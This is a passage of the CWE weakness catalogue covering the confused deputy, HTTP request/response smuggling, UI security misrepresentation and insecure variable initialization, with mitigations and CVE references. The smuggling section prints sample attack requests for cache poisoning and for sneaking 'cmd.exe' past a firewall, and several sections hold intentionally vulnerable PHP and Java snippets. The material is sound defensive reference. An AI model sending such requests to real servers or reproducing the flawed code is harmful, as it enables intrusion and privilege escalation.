- The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, hardware IP, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2466

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Operating_System : Not OS-Specific *(Prevalence = Undetermined)*

Architecture : Not Architecture-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Alternate Terms

Confused Deputy : This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation Access Control	Gain Privileges or Assume Identity Hide Activities Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Phase: Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

Demonstrative Examples

Example 1:

A SoC contains a microcontroller (running ring-3 (least trusted ring) code), a Memory Mapped Input Output (MMIO) mapped IP core (containing design-house secrets), and a Direct Memory Access (DMA) controller, among several other compute elements and peripherals. The SoC implements access control to protect the registers in the IP core (which registers store the design-house secrets) from malicious, ring-3 (least trusted ring) code executing on the microcontroller. The DMA controller, however, is not blocked off from accessing the IP core for functional reasons.

Example Language: Other *(Bad)*

The code in ring-3 (least trusted ring) of the microcontroller attempts to directly read the protected registers in IP core through MMIO transactions. However, this attempt is blocked due to the implemented access control. Now, the microcontroller configures the DMA core to transfer data from the protected registers to a memory region that it has access to. The DMA core, which is acting as an intermediary in this transaction, does not preserve the identity of the microcontroller and, instead, initiates a new transaction with its own identity. Since the DMA core has access, the transaction (and hence, the attack) is successful.

The weakness here is that the intermediary or the proxy agent did not ensure the immutability of the identity of the microcontroller initiating the transaction.

Example Language: Other *(Good)*

The DMA core forwards this transaction with the identity of the code executing on the microcontroller, which is the original initiator of the end-to-end transaction. Now the transaction is blocked, as a result of forwarding the identity of the true initiator which lacks the permission to access the confidential MMIO mapped IP core.

Observed Examples

Reference	Description
CVE-1999-0017	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's. *https://www.cve.org/CVERecord?id=CVE-1999-0017*
CVE-1999-0168	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper. *https://www.cve.org/CVERecord?id=CVE-1999-0168*
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy. *https://www.cve.org/CVERecord?id=CVE-2005-0315*
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://www.cve.org/CVERecord?id=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://www.cve.org/CVERecord?id=CVE-2004-2061*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2434
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2507
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2524
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Maintenance

This could possibly be considered as an emergent resource.

Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Weakness ID : 444
Structure : Simple
Abstraction : Base

Description

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

Extended Description

HTTP requests or responses ("messages") can be malformed or unexpected in ways that cause web servers or clients to interpret the messages in different ways than intermediary HTTP agents such as load balancers, reverse proxies, web caching proxies, application firewalls, etc. For example, an adversary may be able to add duplicate or different header fields that a client or server might interpret as one set of messages, whereas the intermediary might interpret the same sequence of bytes as a different set of messages. For example, discrepancies can arise in how to handle duplicate headers like two Transfer-encoding (TE) or two Content-length (CL), or the malicious HTTP message will have different headers for TE and CL.

The inconsistent parsing and interpretation of messages can allow the adversary to "smuggle" a message to the client/server without the intermediary being aware of it.

This weakness is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

HTTP Request Smuggling :

HTTP Response Smuggling :

HTTP Smuggling :

Common Consequences

Scope	Impact	Likelihood
Integrity Non-Repudiation Access Control	Unexpected State Hide Activities Bypass Protection Mechanism *An attacker could create HTTP messages to exploit a number of weaknesses including 1) the message can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the message can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the message can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).*	

Potential Mitigations

Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Phase: Implementation

Use only SSL communication.

Phase: Implementation

Terminate the client session after each request.

Phase: System Configuration

Turn all pages to non-cacheable.

Demonstrative Examples

Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Example Language: *(Attack)*

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the first four lines of the POST request and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the next three lines that contain exactly 54 bytes as the first request's body:

Example Language: *(Result)*

```
GET /poison.html HTTP/1.1
```

```
Host: www.website.com
Bla:
```

The proxy then parses the remaining bytes, which it treats as the client's second request:

Example Language: *(Attack)*

```
GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body.

Example Language: *(Attack)*

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54 (ignored by server)
```

Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:

Example Language: *(Attack)*

```
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

Note that the "Bla:" header is treated as a regular header, so it is not parsed as a separate GET request.

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Example Language: Java *(Good)*

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
  // Set up response writer object
  ...
  try {
    // check for multiple content length headers
    Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
```

```
      int count = 0;
      while (contentLengthHeaders.hasMoreElements()) {
         count++;
      }
      if (count > 1) {
         // output error response
      }
      else {
         // process request
      }
   } catch (Exception ex) {...}
}
```

Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.

Example Language: *(Attack)*

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Example 3:

The interpretation of HTTP responses can be manipulated if response headers include a space between the header name and colon, or if HTTP 1.1 headers are sent through a proxy configured for HTTP 1.0, allowing for HTTP response smuggling. This can be exploited in web browsers and other applications when used in combination with various proxy servers. For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses

from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers.

Example Language: *(Attack)*

```
HTTP/1.1 200 OK
Date: Fri, 08 Aug 2016 08:12:31 GMT
Server: Apache (Unix)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html
Content-Length : 2345
Transfer-Encoding: chunked
Set-Cookie : token="Malicious Code"
<HTML> ... "Malicious Code"
```

Observed Examples

Reference	Description
CVE-2022-24766	SSL/TLS-capable proxy allows HTTP smuggling when used in tandem with HTTP/1.0 services, due to inconsistent interpretation and input sanitization of HTTP messages within the body of another message *https://www.cve.org/CVERecord?id=CVE-2022-24766*
CVE-2021-37147	Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending" *https://www.cve.org/CVERecord?id=CVE-2021-37147*
CVE-2020-8287	Node.js platform allows request smuggling via two Transfer-Encoding headers *https://www.cve.org/CVERecord?id=CVE-2020-8287*
CVE-2006-6276	Web servers allow request smuggling via inconsistent HTTP headers. *https://www.cve.org/CVERecord?id=CVE-2006-6276*
CVE-2005-2088	HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header *https://www.cve.org/CVERecord?id=CVE-2005-2088*
CVE-2005-2089	HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header *https://www.cve.org/CVERecord?id=CVE-2005-2089*

CWE-446: UI Discrepancy for Security Feature

Weakness ID : 446
Structure : Simple
Abstraction : Class

Description

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the product does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the product only implements "restrict SOME".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Maintenance

This entry is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User interface inconsistency

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID : 447
Structure : Simple
Abstraction : Base

Description

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		446	UI Discrepancy for Security Feature	1082
ChildOf		671	Lack of Administrator Control over Security	1490

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	2357

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Perform functionality testing before deploying the application.

Observed Examples

Reference	Description
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file. *https://www.cve.org/CVERecord?id=CVE-2000-0127*
CVE-2001-0863	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. *https://www.cve.org/CVERecord?id=CVE-2001-0863*
CVE-2001-0865	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. *https://www.cve.org/CVERecord?id=CVE-2001-0865*
CVE-2004-0979	Web browser does not properly modify security setting when the user sets it. *https://www.cve.org/CVERecord?id=CVE-2004-0979*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	2455
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2586

Notes

Research Gap

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

PLOVER			Multiple Interpretations of UI Input

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID : 451
Structure : Simple
Abstraction : Class

Description

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the product or the environment the product is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- Timing: the product is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.

- Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ChildOf	C	684	Incorrect Provision of Specified Functionality	1517
ParentOf	B	1007	Insufficient Visual Distinction of Homoglyphs Presented to User	1871
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1874
PeerOf	C	346	Origin Validation Error	861

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Phase: Architecture and Design

Strategy = Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.

Observed Examples

Reference	Description
CVE-2004-2227	Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions. *https://www.cve.org/CVERecord?id=CVE-2004-2227*
CVE-2001-0398	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant. *https://www.cve.org/CVERecord?id=CVE-2001-0398*
CVE-2001-0643	Misrepresentation and equivalence issue. *https://www.cve.org/CVERecord?id=CVE-2001-0643*
CVE-2005-0593	Lock spoofing from several different weaknesses.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2005-0593
CVE-2004-1104	Incorrect indicator: web browser can be tricked into presenting the wrong URL *https://www.cve.org/CVERecord?id=CVE-2004-1104*
CVE-2005-0143	Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site. *https://www.cve.org/CVERecord?id=CVE-2005-0143*
CVE-2005-0144	Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel. *https://www.cve.org/CVERecord?id=CVE-2005-0144*
CVE-2004-0761	Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted. *https://www.cve.org/CVERecord?id=CVE-2004-0761*
CVE-2004-2219	Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar. *https://www.cve.org/CVERecord?id=CVE-2004-2219*
CVE-2004-0537	Overlay: Wide "favorites" icon can overlay and obscure address bar *https://www.cve.org/CVERecord?id=CVE-2004-0537*
CVE-2005-2271	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://www.cve.org/CVERecord?id=CVE-2005-2271*
CVE-2005-2272	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://www.cve.org/CVERecord?id=CVE-2005-2272*
CVE-2005-2273	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://www.cve.org/CVERecord?id=CVE-2005-2273*
CVE-2005-2274	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? *https://www.cve.org/CVERecord?id=CVE-2005-2274*
CVE-2001-1410	Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method. *https://www.cve.org/CVERecord?id=CVE-2001-1410*
CVE-2002-0197	Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate. *https://www.cve.org/CVERecord?id=CVE-2002-0197*
CVE-2005-0831	Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters. *https://www.cve.org/CVERecord?id=CVE-2005-0831*
CVE-2003-1025	Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar. *https://www.cve.org/CVERecord?id=CVE-2003-1025*
CVE-2005-0243	Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions. *https://www.cve.org/CVERecord?id=CVE-2005-0243*
CVE-2005-1575	Visual truncation: Web browser file download type can be hidden using whitespace.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2005-1575
CVE-2004-2530	Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension. *https://www.cve.org/CVERecord?id=CVE-2004-2530*
CVE-2005-0590	Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname. *https://www.cve.org/CVERecord?id=CVE-2005-0590*
CVE-2004-1451	Visual truncation: Null character in URL prevents entire URL from being displayed in web browser. *https://www.cve.org/CVERecord?id=CVE-2004-1451*
CVE-2004-2258	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab. *https://www.cve.org/CVERecord?id=CVE-2004-2258*
CVE-2005-1678	Miscellaneous -- Dangerous file extensions not displayed. *https://www.cve.org/CVERecord?id=CVE-2005-1678*
CVE-2002-0722	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialog box. *https://www.cve.org/CVERecord?id=CVE-2002-0722*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-453: Insecure Default Variable Initialization

Weakness ID : 453
Structure : Simple
Abstraction : Variant

Description

The product, by default, initializes an internal variable with an insecure or less secure value than is possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1188	Initialization of a Resource with an Insecure Default	1989

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Demonstrative Examples

Example 1:

This code attempts to login a user using credentials from a POST request:

Example Language: PHP *(Bad)*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
   $authorized = true;
}
```

```
...
if ($authorized) {
   generatePage();
}
```

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

Example Language: PHP *(Good)*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
   $authorized = true;
}
...
```

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

Observed Examples

Reference	Description
CVE-2022-36349	insecure default variable initialization in BIOS firmware for a hardware board allows DoS *https://www.cve.org/CVERecord?id=CVE-2022-36349*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure default variable initialization

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID : 454
Structure : Simple
Abstraction : Base

Description

The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A product system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1419	Incorrect Initialization of Resource	2298
CanAlsoBe	V	456	Missing Initialization of a Variable	1097

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2364

Applicable Platforms

Language : PHP *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could gain access to and modify sensitive data or system information.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

A product system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.

Demonstrative Examples

Example 1:

In the Java example below, a system property controls the debug level of the application.

Example Language: Java *(Bad)*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2:

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

Example Language: PHP *(Bad)*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
   $debugEnabled = true;
}
/.../
function login($username, $password){
   if($debugEnabled){
      echo 'Debug Activated';
      phpinfo();
      $isAdmin = True;
      return True;
   }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

Observed Examples

Reference	Description
CVE-2022-43468	WordPress module sets internal variables based on external inputs, allowing false reporting of the number of views *https://www.cve.org/CVERecord?id=CVE-2022-43468*
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack. *https://www.cve.org/CVERecord?id=CVE-2000-0959*
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path. *https://www.cve.org/CVERecord?id=CVE-2001-0033*
CVE-2001-0872	Dangerous environment variable not cleansed. *https://www.cve.org/CVERecord?id=CVE-2001-0872*
CVE-2001-0084	Specify arbitrary modules using environment variable. *https://www.cve.org/CVERecord?id=CVE-2001-0084*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2392
MemberOf	V	884	CWE Cross-section	884	2604
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2454
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

Overlaps Missing variable initialization, especially in PHP.

Applicable Platform

This is often found in PHP due to register_globals and the common practice of storing library/ include files under the web document root so that they are available using a direct request.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			External initialization of trusted variables or values
Software Fault Patterns	SFP25		Tainted input to variable

CWE-455: Non-exit on Failed Initialization

Weakness ID : 455
Structure : Simple
Abstraction : Base

Description

